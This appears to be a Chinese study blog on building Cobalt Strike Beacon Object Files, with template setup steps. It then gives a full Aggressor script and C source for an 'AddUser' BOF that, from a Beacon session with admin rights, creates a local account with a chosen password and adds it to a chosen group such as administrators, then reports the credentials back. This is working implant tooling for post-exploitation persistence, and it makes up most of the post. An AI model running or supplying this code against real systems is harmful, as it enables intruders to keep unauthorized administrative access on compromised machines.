BOF探究学习

BOF 学习

Beacon Object File(BOF) 使用 C 语言编写扩展来扩展 Beacon 的功能。这些扩展可以在运行时直接加载到 Beacon 的内存中并执行，无需在目标机器的磁盘上创建任何文件

0x00 准备:

1. 下载 Template

   Visual-Studio-BOF-template

2. 拷贝到 Visual-Studio 目录

   ​%UserProfile%\Documents\Visual Studio 2022\Templates\ProjectTemplates​

   

3. 重启 VS

4. 创建 BOF 项目

   

5. 批处理生成 x64 和 x86 以及问题修改

   

   

   直接编译报错

   生成后事件改为

   ​xcopy /y "(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o*"; powershell -ExecutionPolicy Unrestricted -command "& { . '(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj' }"

6. 语言万能开头 用字符串来表达​

   #include "bofdefs.h"
   
   extern "C" {
   
   void go(char* buff, int len) {
   
   #ifdef BOF
   
       DFR_LOCAL(NETAPI32, DsGetDcNameA);
       DFR_LOCAL(NETAPI32, NetApiBufferFree);
       DFR_LOCAL(KERNEL32, WinExec);
       //add ...
   
   #endif
           BeaconPrintf(CALLBACK_OUTPUT, "The quieter you become, the more you are able to hear");
   }
   
   }
   #ifndef BOF
   
   void main(int argc, char* argv[]) {
   
       go(NULL, 0);
   }
   
   #endif

   

0x01 落地

写几个程序

1. 添加用户

   描述：BOF 创建用户名

   cna 代码

   beacon_command_register(
   "AddUser", 
   "add a administrator's user", 
   "Synopsis: AddUser <groupname> <username> <password>");
   
   alias AddUser{
       local('$barch $handle $data $args');
       $gname = $2;
       $uname = $3;
       $pass = $4;
   
       if ($uname eq "" or $pass eq "") {
           berror($1, "usage command: help AddUser");
           return;
       }
   
       # Read in the right BOF file
       # figure out the arch of this session
       $barch  = barch($1);
   
       # read in the right BOF file
           $handle = openf(script_resource("dist/AddUser-Bof. $+ $barch $+ .o"));
       $data = readb($handle, -1);
       closef($handle);
   
       # Pack our arguments
       $args = bof_pack($1, "ZZZ",$gname, $uname, $pass);
   
       beacon_inline_execute($1, $data, "go", $args);
   }

   BOF 代码

   /**************************************************************************
   Copyright Copyright 2025 Google Inc.
   * File Name: Source.c
   * Description: 抱歉原有逻辑实在不忍直视,所以进行了略微更改，尊重原作者:https://github.com/0x3rhy/AddUser-Bof/blob/main/AddUser-Bof.c
                   增加组名考虑到需要远程桌面组，还需要再修改，于是改为变量传参 ^-^ *
   * Version: V1.0
   * Author: 3inter
   * Create Time: 2025-05-28
   **************************************************************************/
   #include <windows.h>
   #include <stdio.h>
   #include <lm.h>
   #include "beacon.h"
   
   typedef DWORD NET_API_STATUS;
   
   DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
   DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);
   
   void go(char* args, int len) {
       if (!BeaconIsAdmin()) {
           BeaconPrintf(CALLBACK_ERROR, "[!] You must be admin priv!");
           return;
       }
   
       USER_INFO_1 UserInfo;
       DWORD dwLevel = 1;
       DWORD dwError = 0;
   
       wchar_t* GroupName;
       wchar_t* UserName;
       wchar_t* PassWord;
   
       datap parser;
       BeaconDataParse(&parser, args, len);
       GroupName = (wchar_t*)BeaconDataExtract(&parser, NULL);
       UserName = (wchar_t*)BeaconDataExtract(&parser, NULL);
       PassWord = (wchar_t*)BeaconDataExtract(&parser, NULL);
   
       if (UserName == NULL || PassWord == NULL) {
           BeaconPrintf(CALLBACK_ERROR, "[!] Invalid argument...\n");
           return;
       }
       UserInfo.usri1_name = UserName;
       UserInfo.usri1_password = PassWord;
       UserInfo.usri1_priv = USER_PRIV_USER;
       UserInfo.usri1_home_dir = NULL;
       UserInfo.usri1_comment = NULL;
       UserInfo.usri1_flags = UF_SCRIPT;
       UserInfo.usri1_script_path = NULL;
   
       NET_API_STATUS dwStatus;
   
       dwStatus = NETAPI32$NetUserAdd(
           NULL,
           dwLevel,
           (LPBYTE)&UserInfo,
           &dwError
       );
       do
       {
           if (!dwStatus == NERR_Success) {
               BeaconPrintf(CALLBACK_ERROR, "[!] User added Filed %d", dwStatus);
               break;
           }
           LOCALGROUP_MEMBERS_INFO_3 account = {0};
           account.lgrmi3_domainandname = UserInfo.usri1_name;
   
           dwStatus = NETAPI32$NetLocalGroupAddMembers(NULL, GroupName, 3, (LPBYTE)&account, 1);
           if (!dwStatus == NERR_Success)
           {
               BeaconPrintf(CALLBACK_ERROR, "[!] User added Filed %d", dwStatus);
               break;
           }
           BeaconPrintf(CALLBACK_OUTPUT, "[*] username: %ls\n    password: %ls\n", UserName, PassWord);
           BeaconPrintf(CALLBACK_OUTPUT, "[*] User %ls has been successfully added", UserName);
       } while (0);
   }

2. 待完成….

   • ToDoList(实现再更)